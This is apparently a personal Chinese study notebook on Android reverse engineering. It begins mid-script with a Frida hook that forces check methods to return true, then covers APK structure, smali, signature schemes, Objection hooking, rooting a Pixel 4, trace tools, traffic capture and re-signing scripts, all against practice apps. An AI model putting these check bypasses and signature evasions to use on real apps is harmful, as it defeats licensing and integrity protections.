let Frida6Class0 = Java.use("com.example.androiddemo.Activity.Frida6.Frida6Class0");
let Frida6Class1 = Java.use("com.example.androiddemo.Activity.Frida6.Frida6Class1");
let Frida6Class2 = Java.use("com.example.androiddemo.Activity.Frida6.Frida6Class2");
Frida6Class0["check"].implementation = function(){
console.log("check called");
return true;
}
Frida6Class1["check"].implementation = function(){
return true;
}
Frida6Class2["check"].implementation = function(){
return true;
}
})
}

基础知识

参考:https://www.52pojie.cn/thread-1781093-1-1.html,这是基础知识,文件结构部分。

安卓文件结构

  1. res目录: 存放资源文件,包括icon,xml文件,目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layout文件设计

  2. res/layout/: 存放被编译为屏幕布局(或屏幕的一部分)的XML文件

  3. res/values/: 存放可以被编译成很多类型的资源文件

    • Bool:包含布尔值的 XML 资源,保存在 的 XML 文件: res/values-small/bools.xml

    • color:包含颜色值(十六进制颜色)的 XML 资源,保存在 的 XML 文件: res/values/colors.xml

    • dimen:包含尺寸值(及度量单位)的 XML 资源,保存在 的 XML 文件: res/values/dimens.xml

    • id:提供应用资源和组件的唯一标识符的 XML 资源,保存在 的 XML 文件:res/values/ids.xml

    • integer:包含整数值的 XML 资源,保存在 的 XML 文件:res/values/integers.xml

    • integers:提供整数数组的 XML 资源,保存在 的 XML 文件: res/values/integers.xml

    • array:提供 (可用于可绘制对象数组)的 XML 资源,保存在 的 XML 文件: res/values/arrays.xml

  4. AndroidManifest.xml文件: 应用程序配置文件,每个应用都必须定义和包含的,它描述了应用的名字、版本、权限、引用的库文件等信息。

  5. classes.dex文件: 传统 Class 文件是由一个 Java 源码文件生成的 .Class 文件,而 Android 是把所有 Class 文件进行合并优化,然后生成一个最终的 class.dex 文件。它包含 APK 的可执行代码,是分析 Android 软件时最常见的目标。由于dex文件很难看懂,可通过apktool反编译得到.smali文件,smali文件是对Dalvik虚拟机字节码的一种解释(也可以说是翻译),并非一种官方标准语言。通过对smali文件的解读可以获取源码的信息。

  6. resources.arsc文件: 二进制资源文件,包括字符串等,resources.arsc文件只包含资源的索引和映射关系,并不包含实际的资源内容。实际的资源内容存储在res文件夹中,按照资源类型和名称进行组织。当应用程序需要使用资源时,系统会根据resources.arsc文件中的索引信息找到对应的资源文件,并将其加载到内存中。

  7. smali: smali是将Android字节码用可阅读的字符串形式表现出来的一种语言,可以称之为Android字节码的反汇编语言。利用apktool或者Android Killer,反编classes.dex文件,就可以得到以smali为后缀的文件,这些smali文件就是Dalvik的寄存器语言。

  8. asssets目录:存放APK的静态资源文件,比如视频,音频,图片等

  9. lib目录:armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件

  10. META-INF目录:保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否又被修改)

  11. Kotlin:代表该APK部分或者全部使用Kotlin进行开发

AndroidManifest.xml

常见属性

AndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。它描述了package中暴露的组件,他们各自的实现类,各种能被处理的数据和启动位置。

属性 定义
versionCode 版本号,主要用来更新,例如:12
versionName 版本名,给用户看的,例如:1.2
package 包名,例如:com.zj.52pj.demo
uses-permission android:name=”” 应用权限,例如:android.permission.INTERNET 代表网络权限
android:label=”@string/app_name” 应用名称
android:icon=”@mipmap/ic_launcher” 应用图标路径
android:debuggable=”true” 应用是否开启debug权限

有时候可以反编译之后,在该文件中找到某些权限,删除不必要的权限获取,这样就安全多了。

标签

  • manifest标签

manifest标签是AndroidManifest.xml文件的根标签,它包含了应用程序的基本信息,如包名、版本号、SDK版本、应用程序的名称和图标等等。

  • application标签

application标签是应用程序的主要标签,它包含了应用程序的所有组件,如Activity(活动)、Service(服务)、Broadcast Receiver(广播接收器)、Content Provider(内容提供者)等等。在application标签中,也可以设置应用程序的全局属性,如主题、权限等等。

  • activity标签

activity标签定义了一个Activity组件,它包含了Activity的基本信息,如Activity的名称、图标、主题、启动模式等等。在activity标签中,还可以定义Activity的布局、Intent过滤器等等。

  • service标签

service标签定义了一个Service组件,它包含了Service的基本信息,如Service的名称、图标、启动模式等等。在service标签中,还可以定义Service的Intent过滤器等等。

  • receiver标签

receiver标签定义了一个BroadcastReceiver组件,它包含了BroadcastReceiver的基本信息,如BroadcastReceiver的名称、图标、权限等等。在receiver标签中,还可以定义BroadcastReceiver的Intent过滤器等等。

  • provider标签

provider标签定义了一个Content Provider组件,它包含了Content Provider的基本信息,如Content Provider的名称、图标、权限等等。在provider标签中,还可以定义Content Provider的URI和Mime Type等等。

  • uses-permission标签

uses-permission标签定义了应用程序需要的权限,如访问网络、读取SD卡等等。在应用程序安装时,系统会提示用户授权这些权限。

  • uses-feature标签

uses-feature标签定义了应用程序需要的硬件或软件特性,如摄像头、GPS等等。在应用程序安装时,系统会检查设备是否支持这些特性。

安卓四大组件

组件 描述
Activity(活动) 在应用中的一个Activity可以用来表示一个界面,意思可以理解为“活动”,即一个活动开始,代表 Activity组件启动,活动结束,代表一个Activity的生命周期结束。一个Android应用必须通过Activity来运行和启动,Activity的生命周期交给系统统一管理。
Service(服务) Service它可以在后台执行长时间运行操作而没有用户界面的应用组件,不依赖任何用户界面,例如后台播放音乐,后台下载文件等。
Broadcast Receiver(广播接收器) 一个用于接收广播信息,并做出对应处理的组件。比如我们常见的系统广播:通知时区改变、电量低、用户改变了语言选项等。
Content Provider(内容提供者) 作为应用程序之间唯一的共享数据的途径,Content Provider主要的功能就是存储并检索数据以及向其他应用程序提供访问数据的接口。Android内置的许多数据都是使用Content Provider形式,供开发者调用的(如视频,音频,图片,通讯录等)

1.Activity

例子解析

AndroidManifest.xml中有一些代码可以查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!---声明实现应用部分可视化界面的 Activity,必须使用 AndroidManifest 中的 <activity> 元素表示所有 Activity。系统不会识别和运行任何未进行声明的Activity。----->
<activity
android:label="@string/app_name"
android:name="com.zj.wuaipojie.ui.MainActivity"
android:exported="true"> <!--当前Activity是否可以被另一个Application的组件启动:true允许被启动;false不允许被启动-->
<!---指明这个activity可以以什么样的意图(intent)启动--->
<intent-filter>
<!--表示activity作为一个什么动作启动,android.intent.action.MAIN表示作为主activity启动--->
<action
android:name="android.intent.action.MAIN" />
<!--这是action元素的额外类别信息,android.intent.category.LAUNCHER表示这个activity为当前应用程序优先级最高的Activity-->
<category
android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.zj.wuaipojie.ui.ChallengeFirst" />
<activity
android:name="com.zj.wuaipojie.ui.ChallengeFifth"
android:exported="true" />
<activity
android:name="com.zj.wuaipojie.ui.ChallengeFourth"
android:exported="true" />
<activity
android:name="com.zj.wuaipojie.ui.ChallengeThird"
android:exported="false" />
<activity
android:name="com.zj.wuaipojie.ui.ChallengeSecond"
android:exported="false" />
<activity
android:name="com.zj.wuaipojie.ui.AdActivity" />

所有界面都是从主要的Activity一步一步启动的,比如启动广告流程:启动Activity->广告Activity->主页Activity

生命周期

函数名称 描述
onCreate() 一个Activity启动后第一个被调用的函数,常用来在此方法中进行Activity的一些初始化操作。例如创建View,绑定数据,注册监听,加载参数等。
onStart() 当Activity显示在屏幕上时,此方法被调用但此时还无法进行与用户的交互操作。
onResume() 这个方法在onStart()之后调用,也就是在Activity准备好与用户进行交互的时候调用,此时的Activity一定位于Activity栈顶,处于运行状态。
onPause() 这个方法是在系统准备去启动或者恢复另外一个Activity的时候调用,通常在这个方法中执行一些释放资源的方法,以及保存一些关键数据。
onStop() 这个方法是在Activity完全不可见的时候调用的。
onDestroy() 这个方法在Activity销毁之前调用,之后Activity的状态为销毁状态。
onRestart() 当Activity从停止stop状态恢进入start状态时调用状态。

105514fnc44338qubb43t3

编译过程

  1. 第一步:打包资源文件,生成R.java文件

    通过利用aapt资源打包工具,将文件目录中的Resource文件(就是工程中res中的文件)、Assets文件、AndroidManifest.xml文件、Android基础类库(Android.jar文件)进行打包,生成R.java

  2. 第二步:aidl生成Java文件

    AIDL是Android Interface Definition Language的简称, 是Android跨进程通讯的一种方式。 检索工程里所有的aidl文件,并转换为对应的Java文件

  3. 第三步:编译Java文件,生成对应的.class文件

    将R.java、aidl生成的Java文件、Java源文件通过JDK携带的Javac编译生成.class文件

  4. 第四步:把.class文件转化成Davik VM支持的.dex文件

    通过dx工具将.class文件生成为classes.dex

  5. 第五步:打包生成未签名的.apk文件

    利用apkbuilder工具,将resources.arsc、res目录、AndroidManifest.xml、assets目录、dex文件打包成未签名的apk

  6. 第六步:对未签名.apk文件进行签名

    使用apksigner为安装包添加签名信息。

  7. 第七步:对签名后的.apk文件进行对齐处理

    使用zipalign工具对签名包进行内存对齐操作, 即优化安装包的结构。

双开知识

即让手机同时运行或多个相同的软件

原理 解释
修改包名 让手机系统认为这是2个APP,这样的话就能生成2个数据存储路径,此时的多开就等于你打开了两个互不干扰的APP,这个更改的是类似于com.xxx.xxx这个包名,可以在MT/NP管理器中的安装包提取->提取安装包->定位->点击提取的安装包->功能->APK共存,之后确认即可。但是这个会修改掉包的签名信息,如果开发者进行了签名校验,则会出错。
修改Framework 对于有系统修改权限的厂商,可以修改Framework来实现双开的目的,例如:小米自带多开
通过虚拟化技术实现 虚拟Framework层、虚拟文件系统、模拟Android对组件的管理、虚拟应用进程管理 等一整套虚拟技术,将APK复制一份到虚拟空间中运行,例如:平行空间
以插件机制运行 利用反射替换,动态代{过}{滤}理,hook了系统的大部分与system—server进程通讯的函数,以此作为“欺上瞒下”的目的,欺骗系统“以为”只有一个apk在运行,瞒过插件让其“认为”自己已经安装。例如:VirtualApp

不是很懂,后门应该可以学到

汉化

基本上字符串都是反编译结果的资源文件里面,在arsc里,建议一键汉化,然后再润色。少量没汉化到的字符串参考视频中的方法定位去逐个汉化。

MT管理器->提取安装包->点击安装包->查看->右上角的三点展开->搜索(高级搜索)->文件中包含内容搜索

XML形式

一般搜索对应的英文即可,大多保存在xxx.xml文件中,然后修改即可,如下的Hello,修改成中文即可

image-20230919205712384

记得勾选签名

image-20230919205908259

Arsc形式

在不知道什么语言的时候,可以使用开发者助手来获取文本。

打开开发者助手,然后打开对应的应用中的未知语言所在界面,点击开发者助手小图标,找到界面资源分析,点击开始

image-20230919212921154

然后关闭进度条的界面,点击对应的文本即可

image-20230919213047388

得到对应的文件文本,随后即可进行搜索

image-20230919213113927

找到之后,选择翻译模式打开,进入default默认栏,然后查找修改即可。

Dex形式

搜索找到文件,使用Dex ++编辑器打开,选择字符串模式进行搜索,然后修改即可。

smali知识

可以用语法查询工具,有个apk可以安装,在安卓逆向这档事的课程三中有

image-20230920172723577

关键字

在smali语法中的关键字相关含义功能

名称 注释
.class 类名
.super 父类名,继承的上级类名名称
.source 源名
.field 变量
.method 方法名
.register 寄存器
.end method 方法名的结束
public 公有
protected 半公开,只有同一家人才能用
private 私有,只能自己使用
.parameter 方法参数
.prologue 方法开始
.line xxx 位于第xxx行

数据类型定义

smali中一些类型和java的对应关系

smali类型 java类型 注释
V void 无返回值
Z boolean 布尔值类型,返回0或1
B byte 字节类型,返回字节
S short 短整数类型,返回数字
C char 字符类型,返回字符
I int 整数类型,返回数字
J long (64位 需要2个寄存器存储) 长整数类型,返回数字
F float 单浮点类型,返回数字
D double (64位 需要2个寄存器存储) 双浮点类型,返回数字
string String 文本类型,返回字符串
Lxxx/xxx/xxx object 对象类型,返回对象

常用指令

关键字 注释 例子 解释
const 重写整数属性,真假属性内容,只能是数字类型
const-string 重写字符串内容
const-wide 重写长整数类型,多用于修改到期时间。
return 返回指令
if-eq 全称equal(a=b),比较寄存器ab内容,相同则跳
if-ne 全称not equal(a!=b),ab内容不相同则跳
if-eqz 全称equal zero(a=0),z即是0的标记,a等于0则跳
if-nez 全称not equal zero(a!=0),a不等于0则跳
if-ge 全称greater equal(a>=b),a大于或等于则跳
if-le 全称little equal(a<=b),a小于或等于则跳
goto 强制跳到指定位置
switch 分支跳转,一般会有多个分支线,并根据指令跳转到适当位置 .line 54
packed-switch p1, :pswitch_data_0

.line 54
:pswitch_data_0
.packed-switch 0x1
:pswitch_0
:pswitch_1
.end packed-switch
首先会有一个结构packed-switch p1,:pswitch_data_0,代表跳转到pswitch_data_0,然后在pswitch_data_0中具体定义相关的switch结构,变量为p1
iget 获取寄存器数据

寄存器

smali里的所有操作都必须经过寄存器来进行:本地寄存器用v开头数字结尾的符号来表示,如v0、 v1、v2。 参数寄存器则使用p开头数字结尾的符号来表示,如p0、p1、p2。特别注意的是,p0不一定是函数中的第一个参数,在非static函数中,p0代指“this"p1表示函数的第一个 参数,p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Javastatic方法中没有this方法)

例子解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
//一个私有、静态、不可变的方法   方法名
.method private static final onCreate$lambda-2(Lkotlin/jvm/internal/Ref$IntRef;Lcom/zj/wuaipojie/ui/ChallengeSecond;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/view/View;)Z //(这里面是方法的参数)这里是方法返回值类型,表示布尔值类型,返回假或真
.registers 7 //寄存器数量

.line 33 //代码所在的行数
iget p0, p0, Lkotlin/jvm/internal/Ref$IntRef;->element:I //读取p0(第一个参数,参考寄存器知识)中element的值赋值给p0

const/4 p5, 0x1 //p5赋值1

const/16 v0, 0xa //v0赋值10,在16进制里a表示10

if-ge p0, v0, :cond_15 //判断p0的值是否大于或等于v0的值(即p0的值是否大于或等于10),如果大于或等于则跳转到:cond_15

.line 34 //以下是常见的Toast弹窗代码
check-cast p1, Landroid/content/Context; //检查Context对象引用

const-string p0, "请先获取10个硬币哦" //弹窗文本信息,把""里的字符串数据赋值给p0

check-cast p0, Ljava/lang/CharSequence; //检查CharSequence对象引用

invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
//将弹窗文本、显示时间等信息传给p1

move-result-object p0 //结果传递给p0

invoke-virtual {p0}, Landroid/widget/Toast;->show()V //当看到这个Toast;->show你就应该反应过来这里是弹窗代码

goto :goto_31 //跳转到:goto_31

:cond_15 //跳转的一个地址

invoke-virtual {p1}, Lcom/zj/wuaipojie/ui/ChallengeSecond;->isvip()Z //判断isvip方法的返回值是否为真(即结果是否为1)

move-result p0 //结果赋值给p0

if-eqz p0, :cond_43 //如果结果为0则跳转cond_43地址

const p0, 0x7f0d0018 //在arsc中的id索引,这个值可以进行查询

.line 37
invoke-virtual {p2, p0}, Landroid/widget/ImageView;->setImageResource(I)V //设置图片资源

const p0, 0x7f0d0008

.line 38
invoke-virtual {p3, p0}, Landroid/widget/ImageView;->setImageResource(I)V

const p0, 0x7f0d000a

.line 39
invoke-virtual {p4, p0}, Landroid/widget/ImageView;->setImageResource(I)V

.line 40
sget-object p0, Lcom/zj/wuaipojie/util/SPUtils;->INSTANCE:Lcom/zj/wuaipojie/util/SPUtils;

check-cast p1, Landroid/content/Context;

const/4 p2, 0x2 //p2赋值2

const-string p3, "level" //sp的索引

invoke-virtual {p0, p1, p3, p2}, Lcom/zj/wuaipojie/util/SPUtils;->saveInt(Landroid/content/Context;Ljava/lang/String;I)V //写入数据

goto :goto_50 //跳转地址

:cond_43

check-cast p1, Landroid/content/Context;

const-string p0, "\u8bf7\u5148\u5145\u503c\u5927\u4f1a\u5458\u54e6\uff01" //请先充值大会员哦!

check-cast p0, Ljava/lang/CharSequence;

invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object p0

invoke-virtual {p0}, Landroid/widget/Toast;->show()V

:goto_50
return p5 //返回p5的值
.end method //方法结束

//判断是否是大会员的方法
.method public final isvip()Z
.registers 2

const/4 v0, 0x0 //v0赋值0

return v0 //返回v0的值

.end method




# virtual methods
.method public check(Ljava/lang/String;Ljava/lang/String;)V
.locals 2
#代表两个变量
.param p1, "name" # Ljava/lang/String;
.param p2, "pass" # Ljava/lang/String;

.line 32
const-string v0, "hfdcxy" #类似全局的字符串

#把p1和v0进行equals方法对比
invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

#上个函数的执行结果,即equals函数执行结果给到v0
move-result v0

#v1=0
const/4 v1, 0x0

#如果v0等于0则执行cond_0后面的语句,否则继续往下执行
if-eqz v0, :cond_0

#v0="1234"
const-string v0, "1234"

#把p2和v0进行equals对比
invoke-virtual {p2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v0

if-eqz v0, :cond_0

.line 34
const-string v0, "\u767b\u5f55\u6210\u529f" #登录成功

invoke-static {p0, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object v0

invoke-virtual {v0}, Landroid/widget/Toast;->show()V

goto :goto_0

.line 37
:cond_0
const-string v0, "\u767b\u5f55\u5931\u8d25" #登录失败

invoke-static {p0, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object v0

invoke-virtual {v0}, Landroid/widget/Toast;->show()V

.line 38
:goto_0
return-void
.end method

其中unicode可以通过cyberchef进行确定

image-20230918110827822

还有一些指令

  • if-eqz vA, vB, :cond_” 如果vA等于vB则跳转到:cond_
  • if-nez vA, vB, :cond_” 如果vA不等于vB则跳转到:cond_

代码混淆

加固手法

  • 第一阶段:DEX整体加固

    即将DEX整体加密后动态加载。加载时DEX加密文件整体解密后再用DexClassLoader或者其他类来加载解密后的文件。

  • 第二阶段:代码抽取保护

    函数真正的运行代码并不与DEX整体结构数据存储在一起,真正的加密核心原理为利用私有函数,通过对自身进程的Hook来拦截函数被调用的路径,在抽取的函数被真实调用之前,将无意义的代码数据填充到对应的代码区中,比如nop

    对抗工具有,DexHunter

  • 第三阶段:VMP与Dex2C

    将所有的JAVA代码都变成最终的Native层代码(汇编)。

常用工具

  • ProGuard :更改类名,函数名,变量名,在Android studio中的根目录下面的App/build.gradle文件中,将buildTypes层级的isMinifyEnabled改为True即可

    image-20230925171612027

  • DexGuard:除了ProGuard提供的功能外,还有字符串加密,花指令以及运行库防护等等。

弹窗

Android中常用的弹窗类主要有三种,分别是android.App.Dialogandroid.App.AlertDialogandroid.widget.PopupWindow,这些弹窗在打开APP运行起来之后,在内存中一般都有实例运行,那么找到这些实例即可。

HOOK抓包

基础知识

主要是网络框架的知识,现在的大多网络通信框架有如下几种

  • HttpURLConnect:原生的Android网络通信框架
  • okhttpVolleyWebSocketXMPP等:

特定框架抓包

一般情况Android的收发包相关框架为okhttpokhttp3HTTPURLConnection三种框架,那么我们需要做的就是定位这三个框架调用到的类。

1.删除~/.objection目录,即删除旧的objection.log确保后面运行得到的日志只有本次APP的内容。

2.Objection附加进程APP,输入命令android hooking list classes获取加载的所有类,退出objection

3.从objection.log中过滤出所有网络框架类okhttpokhttp3HTTPURLConnection

1
2
3
cat ./objection.log | grep -i HttpURLConnection > htpc.txt
cat ./objection.log | grep -i okhttp > okhttp.txt
cat ./objection.log | grep -i okhttp3 > okhttp3.txt

4.使用vscode补全导出的文件,Alt+Shift+鼠标向下拖动,可以选定所有行进行补全,使之成为一个objection命令

image-20230926103110130

5.使用objection-c选项对文件中所有命令进行执行

image-20230926103351414

6.所有类都hook上之后,在APP上尝试登录,即可看到一堆执行的函数

image-20230926103631758

7.任意选择上述被调用的函数,比如com.android.okhttp.internal.http.StreamAllocation.release,命令如下

1
2
objection -g com.cz.babySister explore
android hooking watch class_method com.android.okhttp.internal.http.StreamAllocation.release --dump-args --dump-backtrace --dump-return

随后在app中尝试登录,出现如下调用栈

image-20230926104323943

经过经验分析,可以得到最终的发包函数为com.cz.babySister.c.a.a

签名校验

APK的签名作用通常用来证明APK所有者以及允许校验APK的正确性。

目前的Android支持如下四种签名方案

  • v1 方案:基于 JAR 签名。

    这个签名机制主要就在 META-INF 目录下的三个文件,MANIFEST.MF,ANDROID.SF,ANDROID.RSA,他们都是 V1 签名的产物。

    • MANIFEST.MF:摘要文件。签名时,程序遍历Apk包中的所有文件(entry),对非文件夹非签名文件的文件,逐个用SHA1(安全哈希算法)生成摘要信息,再用Base64进行编码生成该摘要文件。如果改变了APK包中内容,那么这个MANIFEST.MF摘要文件在签名时就会发生改变。
    • ANDROID.SF:签名文件。签名时对MANIFEST.MF摘要文件使用SHA1-RSA,用开发者的私钥进行加密(签名)生成该ANDROID.SF文件。在安装时或者打开应用某个功能时进行签名校验,用开发者的公钥对该签名文件ANDROID.SF进行解密,得到解密后的摘要文件MANIFEST.MF_install,使之与摘要文件MANIFEST.MF进行比对,如果内容相符,则代表该APK在签名时到安装这个过程中没有被修改,如果不相符,则被修改了,程序会无法安装,或者安装后闪退。
    • ANDROID.RSA:密钥文件,保存了公钥以及所采用的加密算法等信息,上述验证过程中用到的公钥即在这个文件中,在签名时会一同导入到该文件。

    可以发现上述签名过程能保证的是在开发者签名之后的APK文件没被改变,但是如果我们将APK文件逆向反编译进行修改,然后用自己的私钥签名,再把自己的公钥放入ANDROID.RSA密钥文件中,在签名到签名校验这一个过程中APK文件并没有被改变,还是可以安装正常使用,也就绕过了V1方案。

  • v2 方案:APK 签名方案 v2(在Android 7.0中引入)

  • v3 方案:APK 签名方案 v3(在 Android 9 中引入)

  • v4 方案:APK 签名方案 v4(在 Android 11 中引入)

上述几种签名方案详细解读可以参考:APK 签名方案 v2 | Android 开源项目 | Android Open Source Project

那么有签名大多都有签名校验,签名校验失败后通常有如下几种形式来讲应用停止kill/killProcess、system.exit、finish

TIPS

如果存在针对okhttp框架的混淆,则可以使用siyujie/OkHttpLogger-Frida: Frida 实现拦截okhttp的脚本 (github.com)来进行对抗

刷机

Pixel4

首先进入pixel4 kernelsugithub,最新的即可

image-20230928165853870

查看build number

image-20230928165919610

进入https://developers.google.com/android/images#redfin,下载对应版本的刷机包,注意要是`pixel4`才行,点击`link`下载下来

image-20230928170031221

pixel4关机之后按住音量减和电源键进入fastboot状态,会有红色感叹号的fastboot,,运行刷机包中的./flash-all.sh即可

image-20230928170126928

刷完之后,github上搜索对应机型的kernelsu

image-20230928165430069

release上下载img文件即可

image-20230928165503450

再关机,按住音量减和电源键进入fastboot状态,使用如下命令再刷入flash即可

1
fastboot flash boot pixel4xl_android13_4.14.276_v068.img

刷完之后,重启即可。

然后再github上找kernelsu,进入release,下载对应版本的apk进行安装即可

image-20230928165640320

安装完成之后,即可使用scrcpy远程桌面,即可通过kernelSu进行管理

image-20230928165727580

image-20230928165736192

红米note8Pro

https://zhuanlan.zhihu.com/p/360655776

解锁BLM

查看教程,用的是官解

刷TWRP

用的是这个

小米全机型TWRP一键刷机工具:

百度网盘下载:https://pan.baidu.com/s/15lHG5eibrZ3nsS8CM_JVqg 提取码:pc5n

参考:http://www.romleyuan.com/lec/read?id=201

然后手机进入到Fastboot,运行刷机工具里面的.bat即可,就能进入到TWRP界面。

然后安装Magisk即可,需要后缀为.zip才行。

1
adb shell twrp install /tmp/magisk.zip

重启正常安装Magisk即可

查壳

CTF题目

工具集合

基础工具

工具名称 描述 链接
Magisk 获取root,管理root权限,管理模块 Magisk
LSPosed 管理XPosed框架 LSPosed
LSPatch 用来将XPosed框架模块打包到APK LSPatch
MT管理器 打包,重新签名,修改APK神器 MT管理器
算法助手 利用XPosed框架提供各种hook功能 算法助手
开发助手 主要用来查看布局情况 手机商城就能下载
XappDebug 用来hook对应APP使其可以调试 XappDebug

调试工具

工具名称 描述 链接
JEB APK分析调试 JEB5.5

Trace工具

工具名称 描述 链接
jnitrace 老牌,经典,信息全,携带方便 jnitrace
jnitrace-engine 基于jnitrace,可定制化 jnitrace-engine
jtrace 定制方便,信息全面,直接在_agent.js或者_agent_stable.js 里面加自己的逻辑就行 jtrace
hook_art.js 可提供jni trace,可以灵活的增加你需要hook的函数 hook_art.js
JNI-Frida-Hook 函数名已定义,方便定位 JNI-Frida-Hook
findhash ida插件,可用于检测加解密函数,也可作为Native Trace库 findhash
Stalker frida官方提供的代码跟踪引擎,可以在Native层方法级别,块级别,指令级别实现代码修改,代码跟踪 Stalker
sktrace 类似 ida 指令 trace 功能 sktrace
frida-qbdi-tracer 速度比frida stalker快,免补环境 frida-qbdi-tracer工具名称

frida-trace

这个好像没有什么用,貌似是把所有的C相关函数都trace了,不太懂,也可能是用法不太对

官方文档
frida-trace 可以一次性监控一堆函数地址。还能打印出比较漂亮的树状图,不仅可以显示调用流程,还能显示调用层次。并且贴心的把不同线程调用结果用不同的颜色区分开了。
大佬整理的文档:
frida-trace

  • -i / -a: 跟踪 C 函数或 so 库中的函数。
    PS:-a 包含模块+偏移跟踪,一般用于追踪未导出函数,例子:-a “lib52pojie.so!0x4793c”

包含/排除模块或函数:

  • -I : 包含指定模块。
  • -X : 排除指定模块。

Java 方法跟踪:

  • -j JAVA_METHOD: 包含 Java 方法。
  • -J JAVA_METHOD: 排除 Java 方法。

附加方式:

  • -f:通过 spwan 方式启动
  • -F:通过 attach 方式附加当前进程

日志输出:

  • -o:日志输出到文件

示例:

frida为15.2.2

1
frida-trace -U -F -I "lib52pojie.so" -i "Java_" #附加当前进程并追踪lib52pojie.so里的所有Java_开头的jni导出函数

image-20240119140551996

jnitrace

  • 版本

    1
    frida==16.1.4 ,python==3.9.9,jnitrace==3.3.0

l libnative-lib.so- 用于指定要跟踪的库
-m <spawn|attach>- 用于指定要使用的 Frida 附加机制
-i <regex>- 用于指定应跟踪的方法名称,例如,-i Get -i RegisterNatives将仅包含名称中包含 Get 或 RegisterNatives 的 JNI 方法
-e <regex>- 用于指定跟踪中应忽略的方法名称,例如,-e ^Find -e GetEnv将从结果中排除所有以 Find 开头或包含 GetEnv 的 JNI 方法名称
-I <string>- 用于指定应跟踪的库的导出
-E <string>用于指定不应跟踪的库的导出
-o path/output.json- 用于指定jnitrace存储所有跟踪数据的输出路径

1
jnitrace -m attach -l lib52pojie.so wuaipojie -o trace.json

image-20240119142721261

有时候出错,多点两下

image-20240119143101852

sktrace

跑的比较慢,整体的trace

  • 版本:

    1
    frida==16.1.4 ,python==3.9.9
  1. 类似 ida 指令 trace 功能
  2. 统计寄存器变化,辅助分析,并且可能会有字符串产生
1
python sktrace.py -m attach -l lib52pojie.so -i 0x103B4 wuaipojie > test.log

image-20240119143934575

可以搜索字符串

image-20240119144241656

抓包

需要用到kali中的charles软件,使用charles导出证书为123.pem

image-20231007100812480

然后push进入证书,用户安装证书。之后需要使用kernelSu安装Move_certificatesmovecert,用来把用户证书放入到系统中,然后重启一下。

image-20231007101655837

随后需要安装postern设置vpn,配置一下代理和规则即可

image-20231007101753777

image-20231007101835760

现在就可以开始抓包了,使用postern打开vpn,然后在kali打开charles即可

image-20231007102032081

最终实现抓包

image-20231007102115385

TIPS

1.AndroidKill修改签名

Androidkill原始的签名只能是V1,但是现在使用v1签名在安卓11以上无法安装,所以更改一下签名脚本AndroidRev\Tool\AndroidKiller\bin\apktool\signer.bat

更改为:

1
2
3
4
@echo off
@echo %1
@echo %2
java -jar "%~dp0\apksigner.jar" sign --ks "%~dp0\my-release-key.keystore" --ks-key-alias my-key-alias --ks-pass pass:123456 --key-pass pass:123456 --out %2 %1

这个apksigner.jar用哪个都行,需要放入AndroidRev\Tool\AndroidKiller\bin\apktool\

同时需要用如下命令生成签名密钥my-release-key.keystore,密码都设置为123456即可

1
keytool -genkey -v -keystore my-release-key.keystore -alias my-key-alias -keyalg RSA -keysize 2048 -validity 10000

将生成的签名密钥my-release-key.keystore放入AndroidRev\Tool\AndroidKiller\bin\apktool\即可。

注意更新一下java

2.4字节对齐问题

1
2
3
PS D:\Work\AndroidRev\Tool\AndroidKiller\projects\jiaochen\Bin> adb install .\jiaochen_killer.apk
Performing Streamed Install
adb: failed to install .\jiaochen_killer.apk: Failure [-124: Failed parse during installPackageLI: Targeting R+ (version 30 and above) requires the resources.arsc of installed APKs to be stored uncompressed and aligned on a 4-byte boundary]

这时候就是4字节对问题

参考:https://blog.csdn.net/jeephao/article/details/117673542

那么就需要在签名之前用zipalign对齐一下,将zipalign.exe放入AndroidRev\Tool\AndroidKiller\bin\apktool\中,修改一下上面的脚本

1
2
3
4
5
@echo off
@echo %1
@echo %2
"%~dp0\zipalign.exe" -f -v 4 %1 %2
java -jar "%~dp0\apksigner.jar" sign --ks "%~dp0\my-release-key.keystore" --ks-key-alias my-key-alias --ks-pass pass:123456 --key-pass pass:123456 %2

3.smali代码参数问题

特别注意的是,p0不一定是函数中的第一个参数,在非static函数中,p0代指“this”,p1表示函数的第一个 参数,p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Java的static方法中没有this方法

4.导入C语言头结构问题

在JNI分析时,有时候.so文件没有保存符号,就需要导入jni.h头文件,然后就自己选择相关结构进行解析:

File->Load file->Parse C header file

image-20240116150842630

选择jni.h解析之后,在变量右键,选择Convert to struct*,即可看到导入的结构

image-20240116150935826

如下所示

